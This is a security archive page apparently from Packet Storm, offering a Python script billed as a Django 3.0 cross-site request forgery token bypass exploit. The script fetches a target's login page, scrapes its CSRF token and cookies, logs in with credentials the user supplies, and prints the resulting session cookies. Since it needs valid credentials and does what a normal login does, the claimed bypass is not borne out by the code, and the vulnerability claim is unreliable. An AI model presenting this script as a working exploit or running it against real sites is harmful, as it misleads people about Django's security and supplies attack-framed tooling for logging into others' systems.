what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Django 3.0 Cross Site Request Forgery

Django 3.0 Cross Site Request Forgery
Posted Apr 8, 2020
Authored by Spad Security Group

Django version 3.0 suffers from a cross site request forgery token bypass vulnerability.

tags | exploit, bypass, csrf
SHA-256 | d0e6f57c3341b5df4f6b446f80e494ae81f6f91f6f38223920681e3b68cecf89

Django 3.0 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Django 3.0 - Cross-Site Request Forgery Token Bypass
# Date: 2020-04-08
# Exploit Author: Spad Security Group
# Vendor Homepage: https://www.djangoproject.com/
# Software Link: https://pypi.org/project/Django/
# Version: 3.0 =<
# Tested on: windows 10
# Language: python3.8

# t.me/SpadSec
# Spad Security Group


from requests import Session
import sys
from bs4 import BeautifulSoup
from time import sleep
from colorama import Fore, Style
from random import choice
from os import name, system

colors = [Fore.RED, Fore.BLUE, Fore.WHITE, Fore.GREEN, Fore.CYAN, Fore.YELLOW]


def cleaner():
if name == "nt":
system("cls")
else:
system("clear")

def logo_printer():
cleaner()
logo = r"""
\_______/
`.,-'\_____/`-.,'
/`..'\ _ /`.,'\
/ /`.,' `.,'\ \
/__/__/ \__\__\__
\ \ \ / / /
\ \,'`._,'`./ /
\,'`./___\,'`./
,'`-./_____\,-'`.
/ \
"""
_logo_enumer = 0
for char in logo:
sys.stdout.write(f"{choice(colors)}{char}{Style.RESET_ALL}")
sys.stdout.flush()
_logo_enumer +=1
sleep(0.005)
print(f"{colors[4]}DjangoCsrfMiddlewareToken bypass by SpadSecurity Group \n{colors[3]}\tt.me/SpadSec")

class DjangoCsrfMiddleWareBypass:
def __init__(self, url: str, username: str, password: str):
self.url = url
self.username = username
self.password = password
logo_printer()
self.cookies = {}
self.session = Session()
self.bypass()

def spad_printer(self, string):
print("\n")
for char in string:
sys.stdout.write(char)
sys.stdout.flush()
sleep(0.05)

def bypass(self):
global colors
_conn = self.session.get(self.url)
self.spad_printer(f"{colors[5]}[{colors[0]}x{colors[5]}] {colors[4]}Target: {colors[3]}{self.url}")
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Trying to bypass cookies ...")
for key, value in _conn.cookies.items():
self.cookies[key] = value
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Bypassed Cookies ;)!")

soup = BeautifulSoup(_conn.text, "lxml")
csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
self.spad_printer(f"{colors[5]}[{colors[0]}~{colors[5]}] {colors[1]}Csrf-Token Found{Style.RESET_ALL}")

login = self.session.post(self.url, data={'csrfmiddlewaretoken': csrf, 'username': self.username, 'password': self.password}, cookies=self.cookies)
if len(login.history) >= 2:
if login.history[1].is_redirect:
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in")
else:
self.spad_printer("[-] Error")
else:
if login.history:
if login.history[0].is_redirect:
self.spad_printer(f"{colors[5]}[{colors[0]}+{colors[5]}] {colors[1]}Csrf-Token bypassed and logged in{Style.RESET_ALL}")
for key, value in self.session.cookies.items():
self.spad_printer(f"{colors[5]}[{colors[0]}!{colors[5]}] {colors[4]}{key} {colors[1]}-> {colors[4]}{value}{Style.RESET_ALL}")
else:
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")
else:
self.spad_printer(f"{colors[5]}[{colors[0]}-{colors[5]}] {colors[1]}Error")

if __name__ == "__main__":
try:
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
DjangoCsrfMiddleWareBypass(url, username, password)
except IndexError:
logo_printer()
for char in f"[!] python {sys.argv[0]} http://google.com username password":
sys.stdout.write(char)
sys.stdout.flush()
sleep(0.05)
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close